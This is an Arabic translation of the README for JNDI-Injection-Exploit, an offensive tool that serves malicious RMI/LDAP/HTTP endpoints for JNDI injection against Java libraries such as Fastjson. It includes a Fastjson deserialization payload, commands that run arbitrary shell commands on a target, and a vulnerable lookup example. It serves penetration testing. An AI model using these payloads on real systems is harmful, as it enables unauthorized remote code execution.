
أداة اختبار حقن JNDI (أداة تقوم بإنشاء روابط JNDI ويمكنها بدء عدة خوادم لاستغلال ثغرة حقن JNDI، مثل Jackson و Fastjson وغيرها)
JNDI-Injection-Exploit هي أداة لتوليد روابط JNDI قابلة للعمل وتوفير خدمات خلفية عن طريق تشغيل خادم RMI وخادم LDAP وخادم HTTP. يعتمد خادم RMI وخادم LDAP على marshalsec وتم تعديلهما للربط مع خادم HTTP.
باستخدام هذه الأداة يمكنك الحصول على روابط JNDI، ويمكنك إدراج هذه الروابط في POC الخاص بك لاختبار الثغرة.
على سبيل المثال، هذا هو Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
يمكننا استبدال "rmi://127.0.0.1:1099/Object" بالرابط الذي تم إنشاؤه بواسطة JNDI-Injection-Exploit لاختبار الثغرة.
جميع المعلومات والكود مقدمة للأغراض التعليمية و/أو اختبار أنظمتك الخاصة لهذه الثغرات فقط.
قم بالتشغيل كالتالي
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
حيث:
-C - الأمر المنفذ في ملف الفئة البعيد.
(اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")
-A - عنوان الخادم الخاص بك، قد يكون عنوان IP أو نطاق.
(اختياري، العنوان الافتراضي هو عنوان أول واجهة شبكة)
نقاط يجب الانتباه إليها:
تأكد من أن منافذ الخادم الخاص بك (1099، 1389، 8180) متاحة.
أو يمكنك تغيير المنفذ الافتراضي في فئة run.ServerStart السطور 26~28.
يتم تمرير أمرك إلى Runtime.getRuntime().exec() كمعلمات،
لذا تحتاج إلى التأكد من أن أمرك قابل للعمل في طريقة exec().
الأمر في bash مثل "bash -c ...." يحتاج إلى إضافة علامات اقتباس مزدوجة.
تجربة محلية:
قم بتشغيل الأداة هكذا:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
لقطة شاشة:

افترض أننا حقنا روابط JNDI مثل rmi://ADDRESS/jfxllc التي تم إنشاؤها في الخطوة 1 في تطبيق ضعيف يمكن مهاجمته عن طريق حقن JNDI.
في هذا المثال، يبدو كالتالي:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
ثم عندما نقوم بتشغيل هذا الكود، سيتم تنفيذ الأمر،
وسيتم طباعة السجل في الشل:

يمكننا اختيار إحدى الطريقتين للحصول على ملف jar.
تنزيل أحدث إصدار من الإصدارات.
استنساخ الكود المصدري محلياً وبنائه (يتطلب Java 1.8+ وMaven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests